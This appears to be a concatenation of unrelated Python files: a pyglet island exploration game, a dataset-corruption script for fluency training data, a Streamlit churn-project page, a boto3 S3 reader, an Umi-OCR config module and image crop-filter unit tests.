objRen.update(None,None,None,None,float(0.4),float(0.4))
#inventory init
inventoryBG = pyglet.image.load('bg_inventory.png')
itemBorder = pyglet.image.load('bg_border.png')
itemBorderActive = pyglet.image.load('bg_border_active.png')
itemRen = pyglet.sprite.Sprite(itemBorder, x=60, y=60)
itemRen.update(None,None,None,None,float(1),float(1))
itemImage = {}
for info in ['leatherBag','sword','eyeOfTheSea','helm','breastplate','boots','cheese','ore','sværd']:
    itemImage[info] = pyglet.image.load(''.join(['i_',info,'.png']))
#action window init
door = pyglet.image.load('w_door.png')
action = pyglet.sprite.Sprite(door, x=200, y=200)
action.update(None,None,None,None,float(2),float(2))
#player init
skins = ['d']
skinNum = 0 #change number to change default skin 0 ~ original, 1 ~ dress girl, 2 ~ wizard
playerSkin = skins[skinNum]
playerImage = {}
for character in skins:
    for direction in ['d','l','r','u']:
        for tick in ['0','1','2','3']:
            playerImage[''.join([character,direction,tick])] = pyglet.image.load(''.join(['c_',character,direction,tick,'.png']))
player = pyglet.sprite.Sprite(playerImage[''.join([playerSkin,'d','0'])], x=40, y=40)
player.update(None,None,None,None,float(0.45),float(0.45))
gx = 0 ; gy = 0
#read player data
houseA = '3h0'
house = {}
house['3h0'] = ''
defaultMap = '2'#'defaultMap'
islands = {}
islands[0] = '2'
islands[1] = '3'
islands[2] = '4'
playerData = {}
save_key = ['world','x','y','storage','active0','active1','item0','item1','item2','item3','armour0','armour1','armour2']
inventoryKey = ['storage','active0','active1','item0','item1','item2','item3','armour0','armour1','armour2']
def readPlayer():
    global playerData, save_key, gx, gy, globalWorld
    with open(''.join(['s_save_',playerSkin,'.txt']), 'r') as file:
        Count = 0
        for lineStr in file:
            line = (lineStr.split(' '))
            for char in line:
                if char == '\n':
                    continue
                else:
                    playerData[save_key[Count]] = char
                    Count += 1
    gx = int(playerData['x']) ; gy = int(playerData['y'])
    globalWorld = playerData['world']
readPlayer()
#read Chest
chest_save_key = ['item0','item1','item2','item3','item4','item5','item6','item7',]
chests = {}
with open('s_chest.txt', 'r') as file:
    Count = 0
    for lineStr in file:
        line = (lineStr.split(' '))
        for char in line:
            if char == '\n':
                continue
            else:
                chests[chest_save_key[Count]] = char
                Count += 1
#read & render island data
colorIndex = {}
collisions = {}
def renWorBg(world):
    collisions.clear()
    colorIndex.clear()
    with open(''.join(['m_',world,'.txt']), 'r') as file:
        x = 0 ; y = 580
        for lineStr in file:
            line = (lineStr.split(' '))
            for char in line:
                if char == '\n':
                    continue
                else:
                    colorIndex[(x,y)] = char
                x += tileW
            y -= tileH
            x = 0
    for y in range(0,winH,20):
        for x in range(0,winW,20):
            colorInfo = colorIndex[(x,y)]
            ren.set_position(x,y)
            if colorInfo == 'w':
                collisions[(x,y)] = True
            elif colorInfo == '.':
                collisions[(x,y)] = True
            ren.image = tile[colorInfo]
            ren.draw()
#read & render island data
objects = {}
acessLoc = {'3h0':'empty','4h0':'empty','4h1':'empty','4h2':'empty','4h3':'empty','4h4':'empty','chest':'empty','boat':'empty'}
fireCount = 0
def edgeCollisions():
    for a in range(-20,580,20):
        collisions[(-20,a)] = True
        collisions[(a,-20)] = True
        collisions[(580,a)] = True
        collisions[(a,580)] = True
    for a in range(0,600,20):
        collisions[(0,a)] = True
        collisions[(a,0)] = True
        collisions[(600,a)] = True
        collisions[(a,600)] = True
def renObjects(world,height):
    global clock, gy, fireCount, acessLoc
    def makeHouse(num):
        pass
    objects.clear()
    with open(''.join(['mo_',world,'.txt']), 'r') as file:
        for lineStr in file:
            line = (lineStr.split(' '))
            objects[line[0]] = line[1]
            line.clear()
    for item in objects:
        texture = objects[item]
        a = item.split('(')
        b = a[1].split(')')
        c = b[0].split(',')
        if texture == 's':
            objRen.image = objectkey[texture]
            objRen.set_position(int(c[0]),int(c[1]) + 20)
        else:
            objRen.set_position(int(c[0]),int(c[1]))
        if texture == 'f':
            if fireCount >= 3:
                fireCount = 0
            objRen.image = objectkey[''.join(['f',str(fireCount)])]
        elif texture == 's':
            objRen.image = objectkey[texture]
        elif texture == 'mt':
            objRen.image = objectkey[texture]
        elif texture == 'sb.0':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20]:
                for sbx in [0,20,40,60,80]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['3h',str(l[1])])] = (int(c[0]) + 40,int(c[1]) - 20)
        elif texture == 'sb.1':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20]:
                for sbx in [0,20,40,60,80]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['4h',str(l[1])])] = (int(c[0]) + 40,int(c[1]) - 20)
        elif texture == 'sb.2':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20]:
                for sbx in [0,20,40,60,80]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['4h',str(l[1])])] = (int(c[0]) + 40,int(c[1]) - 20)
        elif texture == 'sb.3':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20]:
                for sbx in [0,20,40,60,80]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['4h',str(l[1])])] = (int(c[0]) + 40,int(c[1]) - 20)
        elif texture == 'sb.4':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20]:
                for sbx in [0,20,40,60,80]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['4h',str(l[1])])] = (int(c[0]) + 40,int(c[1]) - 20)
        elif texture == 'lb.0':
            l = texture.split('.')
            objRen.image = objectkey[l[0]]
            for sby in [0,20,40,60]:
                for sbx in [0,20,40,60,80,100,120]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc[''.join(['4h',str(l[1])])] = (int(c[0]) + 60,int(c[1]) - 20)
        elif texture == 'bo':
            objRen.image = objectkey[texture]
            for sby in [0]:
                for sbx in [0,20,40]:
                    collisions[(int(c[0]) + sbx,int(c[1]) + sby)] = True
            acessLoc['boat'] = (int(c[0]) + 20,int(c[1]) + 20)
        elif texture == 'fs':
            objRen.image = objectkey[texture]
            for bdy in [0,20]:
                for bdx in [0,20,40]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'bd':
            objRen.image = objectkey[texture]
            for bdy in [0,20]:
                for bdx in [0,20]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'bd2':
            objRen.image = objectkey[texture]
            for bdy in [0,20]:
                for bdx in [0,20]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'ps':
            objRen.image = objectkey[texture]
            for bdy in [0,20]:
                for bdx in [0,20]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'lt':
            objRen.image = objectkey[texture]
            for bdy in [0,20]:
                for bdx in [20,40]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'gt':
            objRen.image = objectkey[texture]
            for bdy in [20,40]:
                for bdx in [40,60]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'bs':
            objRen.image = objectkey[texture]
            for bdy in [0]:
                for bdx in [0,20,40,60,80,100]:
                    collisions[(int(c[0]) + bdx,int(c[1]) + bdy)] = True
        elif texture == 'c':
            objRen.image = objectkey[texture]
            collisions[(int(c[0]),int(c[1]))] = True
            acessLoc['chest'] = (int(c[0]),int(c[1]) - 20)
        else:
            objRen.image = objectkey[texture]
            collisions[(int(c[0]),int(c[1]))] = True
        if height == 'above':
            if int(c[1]) >= gy:
                objRen.draw()
        else:
            if int(c[1]) < gy:
                objRen.draw()
    fireCount += 1
playerticking = 0
lastd = 'd'
active = {}
def clearActive():
    for key in inventoryKey:
        active[key] = False
clearActive()
def switch(one,two):
    global active
    oldone = playerData[one]
    oldtwo = playerData[two]
    playerData[one] = oldtwo
    playerData[two] = oldone
def inventoryEdit():
    if keyboard.is_pressed('q'):
        pass
def drawInventory(playerImage):
    global gx, gy, acessLoc, active
    def checkActive(catagory,num):
        if active[''.join([catagory,str(num)])] == True:
            itemRen.update(None,None,None,None,float(1/4),float(1/4))
            itemRen.image = itemBorderActive
        else:
            itemRen.update(None,None,None,None,float(1/2),float(1/2))
            itemRen.image = itemBorder
        itemRen.draw()
    #draw Background
    itemRen.update(None,None,None,None,float(1),float(1))
    itemRen.image = inventoryBG
    itemRen.set_position(600,0)
    itemRen.draw()
    itemLoc = {}
    for y in [520]:
        for x in [793]:
            itemRen.set_position(x,y)
            checkActive('storage','')
            itemLoc['storagex'] = x + 10 ; itemLoc['storagey'] = y + 10
    itemNum = 0
    catagory = 'item'
    for y in [450,380]:
        for x in [760,830]:
            itemRen.set_position(x,y)
            checkActive(catagory,itemNum)
            itemLoc[''.join([catagory,str(itemNum),'x'])] = x + 10 ; itemLoc[''.join([catagory,str(itemNum),'y'])] = y + 10
            itemNum += 1
    itemNum = 0
    catagory = 'armour'
    for y in [500,430,360]:
        for x in [690]:
            itemRen.set_position(x,y)
            checkActive(catagory,itemNum)
            itemLoc[''.join([catagory,str(itemNum),'x'])] = x + 10 ; itemLoc[''.join([catagory,str(itemNum),'y'])] = y + 10
            itemNum += 1
    itemNum = 0
    catagory = 'active'
    for y in [290]:
        for x in [650,800]:
            itemRen.set_position(x,y)
            checkActive(catagory,itemNum)
            itemLoc[''.join([catagory,str(itemNum),'x'])] = x + 10 ; itemLoc[''.join([catagory,str(itemNum),'y'])] = y + 10
            itemNum += 1
    itemRen.update(None,None,None,None,float(1.2),float(1.2))
    itemRen.image = pyglet.image.load(''.join(['c_',playerSkin,'d0.png']))
    itemRen.set_position(610,410)
    itemRen.draw()
    #draw Items
    for item in save_key:
        if item == 'world':
            drawItem = False
            playerData['x'] = gx
            continue
        elif item == 'x':
            drawItem = False
            playerData['x'] = gx
            continue
        elif item == 'y':
            drawItem = False
            playerData['y'] = gy
            continue
        if playerData[item] == 'empty':
            drawItem = False
        else:
            itemRen.image = itemImage[str(playerData[item])]
            itemRen.set_position(itemLoc[''.join([item,'x'])],itemLoc[''.join([item,'y'])])
            itemRen.update(None,None,None,None,float(0.75),float(0.75))
            itemRen.draw()
    action.image = invisible
    action.update(None,None,None,None,float(2),float(2))
    if globalWorld == '2':
        if (gx, gy) == acessLoc['boat']:
            ptext('press E to go to another island',670,20,10)
            action.image = objectkey['bo']
            action.update(None,None,None,None,float(1.2),float(1.2))
            action.set_position(650,50)
    if globalWorld == '3':
        if (gx, gy) == acessLoc['3h0']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['boat']:
            ptext('press E to go to another island',670,20,10)
            action.image = objectkey['bo']
            action.update(None,None,None,None,float(1.2),float(1.2))
            action.set_position(650,50)
        if (gx, gy) == acessLoc['chest']:
            itemRen.update(None,None,None,None,float(1/2),float(1/2))
            itemRen.image = itemBorder
            itemLoc = {}
            itemNum = 0
            for y in [10,80,150,220]:
                for x in [760,830]:
                    itemRen.set_position(x,y)
                    itemRen.draw()
                    itemLoc[''.join(['item',str(itemNum),'x'])] = x + 10 ; itemLoc[''.join(['item',str(itemNum),'y'])] = y + 10
                    itemNum += 1
            #draw Chest Items
            for item in chest_save_key:
                if chests[item] == 'empty':
                    drawItem = False
                else:
                    itemRen.image = itemImage[str(chests[item])]
                    itemRen.set_position(itemLoc[''.join([item,'x'])],itemLoc[''.join([item,'y'])])
                    itemRen.update(None,None,None,None,float(0.75),float(0.75))
                    itemRen.draw()
            action.update(None,None,None,None,float(1.5),float(1.5))
            ptext('click to switch\nthe boxes',630,70,10)
            action.image = objectkey['c']
            action.set_position(630,120)
    if globalWorld == '4':
        if (gx, gy) == acessLoc['4h0']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['4h1']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['4h2']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['4h3']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['4h4']:
            ptext('press E to enter the house',670,20,10)
            action.image = door
            action.set_position(700,50)
        if (gx, gy) == acessLoc['boat']:
            ptext('press E to go to another island',670,20,10)
            action.image = objectkey['bo']
            action.update(None,None,None,None,float(1.2),float(1.2))
            action.set_position(650,50)
islandCount = 0
islandLoc = {}
islandLoc['2'] = (260,360)
islandLoc['3'] = (500,60)
islandLoc['4'] = (100,80)
def executeAction(actionType):
    global gx, gy, globalWorld, exitTox, exitToy, playerSkin, lastd, islandCount, islands, islandLoc, acessLoc
    tempx = gx
    tempy = gy
    if actionType == 'h':
        if globalWorld == houseA:
            globalWorld = '3'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'
        if (tempx,tempy) == acessLoc['3h0']:
            if globalWorld == '3':
                print(globalWorld)
                globalWorld = houseA
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 120#enter house location
                animateStep(False,'u',playerSkin) ; lastd = 'u'

        if globalWorld == '4h0':
            globalWorld = '4'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'
        if globalWorld == '4h1':
            globalWorld = '4'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'
        if globalWorld == '4h2':
            globalWorld = '4'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'
        if globalWorld == '4h3':
            globalWorld = '4'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'
        if globalWorld == '4h4':
            globalWorld = '4'
            edgeCollisions()
            fireCount = 0
            gx = exitTox
            gy = exitToy
            animateStep(False,'d',playerSkin) ; lastd = 'd'

        if (tempx,tempy) == acessLoc['4h0']:
            if globalWorld == '4':
                print(globalWorld)
                globalWorld = '4h0'
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 200#enter house location
                animateStep(False,'u',playerSkin) ; lastd = 'u'
        if (tempx,tempy) == acessLoc['4h1']:
            if globalWorld == '4':
                print(globalWorld)
                globalWorld = '4h1'
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 200
                animateStep(False,'u',playerSkin) ; lastd = 'u'
        if (tempx,tempy) == acessLoc['4h2']:
            if globalWorld == '4':
                print(globalWorld)
                globalWorld = '4h2'
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 200
                animateStep(False,'u',playerSkin) ; lastd = 'u'
        if (tempx,tempy) == acessLoc['4h3']:
            if globalWorld == '4':
                print(globalWorld)
                globalWorld = '4h3'
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 200
                animateStep(False,'u',playerSkin) ; lastd = 'u'
        if (tempx,tempy) == acessLoc['4h4']:
            if globalWorld == '4':
                print(globalWorld)
                globalWorld = '4h4'
                edgeCollisions()
                exitTox = gx ; exitToy = gy
                gx = 300 ; gy = 200
                animateStep(False,'u',playerSkin) ; lastd = 'u'

    if actionType == 'b':
        if acessLoc['boat'] == (gx,gy):
            islandCount += 1
            if islandCount == 3:
                islandCount = 0
            globalWorld = islands[islandCount]
            print(islandLoc[islands[islandCount]])
            locStr = str(islandLoc[islands[islandCount]])
            a = locStr.split('(')
            b = a[1].split(')')
            c = b[0].split(',')
            gx = int(c[0])
            gy = int(c[1])
#player
exitTox = gx ; exitToy = gy
def animateStep(bAnimate,direction,image):
    global playerticking,lastd
    if bAnimate == True:
        playerticking += 1
        if playerticking == 4:
            playerticking = 0
        lastd = direction
    else:
        playerticking = 0
    player.image = playerImage[''.join([image,direction,str(playerticking)])]
pressedLast = True
mode = 'play'
activeNum = 9
switchTemp = ''
def runPlayer(image):
    global gx, gy, mode, globalWorld, pressedLast, activeNum, switchTemp, skins, skinNum, playerSkin, exitTox, exitToy, gmessage
    reversex = 0 ; reversey = 0
    keypress = False ; drawChest = False
    if keyboard.is_pressed('q'):#mode switch
        activeNum = 0
        switchTemp = ''
        if mode == 'play':
            mode = 'inventory'
        elif mode == 'inventory':
            mode = 'play'
            clearActive()
        print(mode)
    if keyboard.is_pressed('r'):
        ptext(' INSTRUCTIONS:/npress W to move up\npress A to move left\npress S to move down\npress D to move right\npress E to enter buildings\n   or enter boats\npress Q to edit inventory',680,240,20)
    if mode == 'play':
        if keyboard.is_pressed('w'):#move up
            gy += 20
            animateStep(True,'u',image)
            reversey = -20
            keypress = True; pressedLast = True
        elif keyboard.is_pressed('a'):#move left
            gx -= 20
            animateStep(True,'l',image)
            reversex = 20
            keypress = True ; pressedLast = True
        elif keyboard.is_pressed('s'):#move down
            gy -= 20
            animateStep(True,'d',image)
            reversey = 20
            keypress = True ; pressedLast = True
        elif keyboard.is_pressed('d'):#move right
            gx += 20
            animateStep(True,'r',image)
            reversex = -20
            keypress = True ; pressedLast = True
        elif keyboard.is_pressed('e'):#enter house
            pressedLast = False
            executeAction('h')
            executeAction('b')
            '''
        elif keyboard.is_pressed('q'):#change player
            pressedLast = False
            skinNum += 1
            if skinNum >= (len(skins)+ 1):
                skinNum = 0
            playerSkin = skins[skinNum]
            readPlayer()'''
        elif keyboard.is_pressed('enter'):#function 1
            print('function 1')
        elif keyboard.is_pressed('shift'):#function 2
            print('function 2')
        else:
            animateStep(False,lastd,image)
            keypress = False
    if mode == 'inventory':
        if keyboard.is_pressed('w'):
            clearActive()
            activeNum += 1
        if keyboard.is_pressed('s'):
            clearActive()
            activeNum -= 1
        if activeNum > 9:
            activeNum = 0
        if activeNum < 0:
            activeNum = 9
        active[inventoryKey[activeNum]] = True
        if switchTemp == '':
            ptext('press W and S to scroll\npress ENTER to select',680,240,20)
            if keyboard.is_pressed('enter'):#select
                switchTemp = activeNum
        elif not (switchTemp == ''):
            active[inventoryKey[int(switchTemp)]] = True
            if keyboard.is_pressed('enter'):#switch
                switch(str(inventoryKey[activeNum]),str(inventoryKey[int(switchTemp)]))
                switchTemp = ''
                clearActive()
    #ren Inventory (chest)
    if (gx,gy) in collisions:
        gx += reversex ; gy += reversey
        animateStep(False,lastd,image)
    playerData['world'] = globalWorld
    if keypress == True:
        print(gx,gy)
        Savefile = open(''.join(['s_save_',playerSkin,'.txt']),'w')
        writeList = []
        for info in save_key:
            writeList.append(str(playerData[info]))
            writeList.append(' \n')
        del writeList[-1]
        Savefile.write(str(''.join(writeList)))
        Savefile.close()
def ptext(info,x,y,size):
    lines = info.split('\n')
    yOffset = 0
    for line in lines:
        text = pyglet.text.Label(line, font_name='Arial', font_size=10,x=x, y=(y + yOffset))
        text.draw()
        yOffset -= size * 1.5
#rerender
def update(dt):
    global clock,gx,gy,playerSkin,globalWorld, textx, texty, textinfo
    #drawChest = False
    window.clear()
    drawInventory(playerSkin)
    runPlayer(playerSkin)
    renWorBg(globalWorld)
    renObjects(globalWorld,'above')
    player.set_position(gx,gy)
    player.draw()
    renObjects(globalWorld,'below')
    action.draw()
    clock += 1
def main():
    pyglet.clock.schedule_interval(update, 0.05)
    pyglet.app.run()
main()
exit()


from datasets import load_dataset
from tqdm import tqdm
from random import randint, shuffle
import pandas as pd
import string
from corruption import Corrupter

def rand_ind(num_of_idx: int, u_range: int, verbose = False) -> list:

  out_list = list()

  if verbose: print(f'\nSTARTING...\n')

  for i in tqdm(range(num_of_idx)):
      flag = 0
      n_ind = randint(0, u_range-1)
      if n_ind not in out_list:
          out_list.append(n_ind)
      else:
          flag = 1
          while flag:
              n_ind_2 = randint(0, u_range-1)
              if n_ind_2 not in out_list:
                  out_list.append(n_ind_2)
                  flag = 0
              else:
                  continue

  if verbose: print(f'\nFINISHED!\n')

  return out_list

def retrieve_data(ind_list: list, u_data, lang: str, verbose = False) -> list:

  if verbose: print(f'\nSTARTING...\n')

  out_list_data = list()

  for ind in tqdm(ind_list):
      out_list_data.append(u_data['train'][ind]['translation'][lang])

  if verbose: print(f'\nFINISHED!\n')

  return out_list_data

def shuffle_str(inp_str: str) -> str:

  inp_str = inp_str.split()
  shuffle(inp_str)
  inp_str = " ".join(inp_str)

  return inp_str

########################################################MAIN FUNCTION####################################################################

def get_dataset(target_lang: str, corpus_size: int, verbose = True):

  if verbose: print('\nSTARTING!!!\n')
  ################################ LOAD AND PREPROCESS DATA FROM THE DATASET ################################

  len_pairs_list = ['ar-cs', 'ar-de', 'cs-de', 'ar-en', 'cs-en', 'de-en', 'ar-es', 'cs-es', 'de-es', 'en-es',
                    'ar-fr', 'cs-fr', 'de-fr', 'en-fr', 'es-fr', 'ar-it', 'cs-it', 'de-it', 'en-it', 'es-it',
                    'fr-it', 'ar-ja', 'cs-ja', 'de-ja', 'en-ja', 'es-ja', 'fr-ja', 'ar-nl', 'cs-nl', 'de-nl',
                    'en-nl', 'es-nl', 'fr-nl', 'it-nl', 'ar-pt', 'cs-pt', 'de-pt', 'en-pt', 'es-pt', 'fr-pt',
                    'it-pt', 'nl-pt', 'ar-ru', 'cs-ru', 'de-ru', 'en-ru', 'es-ru', 'fr-ru', 'it-ru', 'ja-ru',
                    'nl-ru', 'pt-ru', 'ar-zh', 'cs-zh', 'de-zh', 'en-zh', 'es-zh', 'fr-zh', 'it-zh', 'ja-zh',
                    'nl-zh', 'pt-zh', 'ru-zh']

  target_lang_pair = None

  for i in len_pairs_list:
      if target_lang in i:
          target_lang_pair = i

  dataset_target = load_dataset("news_commentary", target_lang_pair)

  ind_b = str(dataset_target['train']).index('num_rows: ') + 10
  ind_e = str(dataset_target['train']).index('\n})')
  num_rows_total  = int(str(dataset_target['train'])[ind_b:ind_e])

  if verbose: print('\nGETTING INDICES...\n')
  inds_target = rand_ind(corpus_size, num_rows_total)

  if verbose: print('\nRETRIEVING DATA...\n')
  data_target  = retrieve_data(inds_target, dataset_target, target_lang)

  ################################ CORRUPTER STAGE ################################

  corrupter = Corrupter() # initialize corrupter

  list_ones = data_target[:int(corpus_size/2)]
  list_zeros = data_target[int(corpus_size/2):]

  if verbose: print('\nCORRUPTING DATA...\n')

  for i, v in enumerate(tqdm(list_ones)): # corrupt 50% of the data in "list_ones"
      rand_num = randint(10, 1000)
      rand_num2 = randint(0, 100)
      corr_sent = corrupter.corrupt(v, syn=0, typo=rand_num).split()
      corr_sent = ' '.join([corr_sent[i-1]+v if v in string.punctuation else v for i, v in enumerate(corr_sent)])

      if rand_num2 >= 50:
          corr_sent = shuffle_str(corr_sent)
      list_ones[i] = corr_sent

  ################################ OUTPUT CSV ################################

  if verbose: print('\nOUTPUTING CSV...\n')

  list_ones.extend(list_zeros)

  assert len(list_ones) == corpus_size, f"Mismatch of the intended corpus size: {corpus_size} and the recieved one: {len(list_ones)}"

  len_ones = len(list_ones)

  l1 = [1 for i in range(int(corpus_size/2))]
  l0 = [0 for i in range(int(corpus_size/2))]

  l1.extend(l0)

  df_out = pd.DataFrame(list(zip(l1, list_ones)), columns = ['label', 'text'])
  df_out.to_csv(f'training_data_fluency_{target_lang}_{round(len(list_ones)/1000)}k.csv', index=False, encoding='utf-8')

  if verbose: print('\nFINISHED!!!\n')

  pass


import streamlit as st
from PIL import Image

img = Image.open("employee.jpg")

st.set_page_config(
    page_title='Employee Churn Prediction',
    page_icon=img
)

st.text('This is a web app to predict employee churn.')

'''
## WELCOME!

Welcome to the "***Employee Churn Analysis Project***". This is the second project of the Capstone Project Series, where we created our classification models for various business environments.

In this project we researched what is Employee Churn?, How it is different from customer churn, Exploratory data analysis and visualization of employee churn dataset using ***matplotlib*** and ***seaborn***, model building and evaluation using python ***scikit-learn*** and ***Tensorflow-Keras*** packages.

We implement classification techniques in Python, Using Scikit-Learn, allowing you to successfully make predictions with Distance Based, Bagging, and Boosting algorithms for this project. On the other hand, for Deep Learning, we used Tensorflow-Keras.

- NOTE: This project assumes that you already know the basics of coding in Python and are familiar with model deployement as well as the theory behind Distance Based, Bagging, Boosting algorithms, and Confusion Matrices.

---

'''


import boto3
import sys

profile = sys.argv[1]
bucket_name = sys.argv[2]
object_key = sys.argv[3]

session = boto3.Session(profile_name=profile)

try:
  s3=session.resource("s3")
  obj = s3.Object(bucket_name, object_key)
  body = obj.get()['Body'].read().decode('utf-8')
  print(body)
except Exception as e:
  print(e)


import json

# 配置文件路径
ConfigJsonFile = "Umi-OCR_config.json"

# 配置项
ConfigDict = {
    # 忽略区域设置
    "ignoreArea": None,  # 忽略区域
    # "ignoreAreaPreset": [],  # 忽略区域预设列表

    # 输出文件设置
    "isOutputFile": True,  # T时输出内容写入本地文件
    "outputFilePath": "",  # 输出文件目录
    "outputFileName": "",  # 输出文件名称

    # 输出格式设置
    "isOutputDebug": False,  # T时输出调试信息
    "isIgnoreNoText": True,  # T时忽略(不输出)没有文字的图片信息
    "outputStyle": 1,  # 1：纯文本，2：Markdown

    # 识别器设置
    "ocrToolPath": "PaddleOCR-json\PaddleOCR_json.exe",  # 识别器路径
    "imageSuffix": ".jpg .jpe .jpeg .jfif .png .webp .bmp .tif .tiff"  # 图片后缀
}

#  需要保存的设置项
SaveItem = [
    "isOutputFile",
    "isOutputDebug",
    "isIgnoreNoText",
    "outputStyle",
    "ocrToolPath",
    "imageSuffix",
]

class ConfigModule:

    def initValue(self, optVar):
        """初始化配置。传入并设置tk变量字典"""
        self.optVar = optVar

        def load():
            """从本地json文件读取配置"""
            try:
                with open(ConfigJsonFile, "r", encoding="utf8")as fp:
                    jsonData = json.load(fp)  # 读取json文件
                    for key in jsonData:
                        if key in ConfigDict:
                            ConfigDict[key] = jsonData[key]
            except json.JSONDecodeError:  # 反序列化json错误
                self.save()
            except FileNotFoundError:  # 无配置文件
                self.save()
        load()  # 加载配置文件
        for key in optVar:
            if key in ConfigDict:
                optVar[key].set(ConfigDict[key])

    def isSaveItem(self, key):
        return key in SaveItem

    def save(self):
        """保存配置到本地json文件"""
        saveDict = {}  # 提取需要保存的项
        for key in SaveItem:
            saveDict[key] = ConfigDict[key]
        with open(ConfigJsonFile, "w", encoding="utf8")as fp:
            fp.write(json.dumps(saveDict, indent=4, ensure_ascii=False))

    def update(self, key):
        """更新某个值，从tk变量读取到配置项"""
        ConfigDict[key] = self.optVar[key].get()

    def get(self, key):
        """获取一个配置项的值"""
        return ConfigDict[key]

    def set(self, key, value):
        """设置一个配置项的值"""
        if key in self.optVar:
            self.optVar[key].set(value)
        else:
            ConfigDict[key] = value

Config = ConfigModule()  # 设置模块 单例


import os
import unittest
from copy import copy
from PIL import Image
from flask.ext.imagine.filters.crop import CropFilter

class TestCropFilter(unittest.TestCase):
    image_png = None
    image_jpg = None
    image_tif = None
    image_bmp = None

    def setUp(self):
        assets_path = os.path.abspath(os.path.dirname(__file__)) + '/../static/'
        assets_path = os.path.normpath(assets_path)

        image_png_path = assets_path + '/flask.png'
        self.image_png = Image.open(image_png_path)

        image_jpg_path = assets_path + '/flask.jpg'
        self.image_jpg = Image.open(image_jpg_path)

        image_tif_path = assets_path + '/flask.tif'
        self.image_tif = Image.open(image_tif_path)

        image_bmp_path = assets_path + '/flask.bmp'
        self.image_bmp = Image.open(image_bmp_path)

    def test_wrong_init_parameters(self):
        with self.assertRaises(TypeError):
            CropFilter()

        with self.assertRaises(TypeError):
            CropFilter(start='string')

        with self.assertRaises(TypeError):
            CropFilter(size='string')

        with self.assertRaises(ValueError):
            CropFilter(start='string', size='string')

        with self.assertRaises(ValueError):
            CropFilter(start='string', size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size='string')

        with self.assertRaises(ValueError):
            CropFilter(start=[1], size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size=[100])

        with self.assertRaises(ValueError):
            CropFilter(start=[1, 2, 3], size=[100, 100])

        with self.assertRaises(ValueError):
            CropFilter(start=[0, 0], size=[100, 100, 100])

    def test_wrong_resource_type(self):
        crop = CropFilter(start=[0, 0], size=[800, 600])
        with self.assertRaises(ValueError):
            crop.apply('string')

    def test_success_horizontal_with_start_from_zero(self):
        crop = CropFilter(start=[0, 0], size=[800, 600])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((800, 500), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((800, 500), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((800, 500), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((800, 500), image_bmp.size)

    def test_success_horizontal_with_start_from_point(self):
        crop = CropFilter(start=[100, 100], size=[800, 600])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
        self.assertTupleEqual((800, 400), image_png.size)

        image_jpg = copy(self.image_jpg)
        image_jpg = crop.apply(image_jpg)
        self.assertTupleEqual((800, 400), image_jpg.size)

        image_tif = copy(self.image_tif)
        image_tif = crop.apply(image_tif)
        self.assertTupleEqual((800, 400), image_tif.size)

        image_bmp = copy(self.image_bmp)
        image_bmp = crop.apply(image_bmp)
        self.assertTupleEqual((800, 400), image_bmp.size)

    def test_success_with_oversize(self):
        crop = CropFilter(start=[0, 0], size=[1500, 1000])

        image_png = copy(self.image_png)
        image_png = crop.apply(image_png)
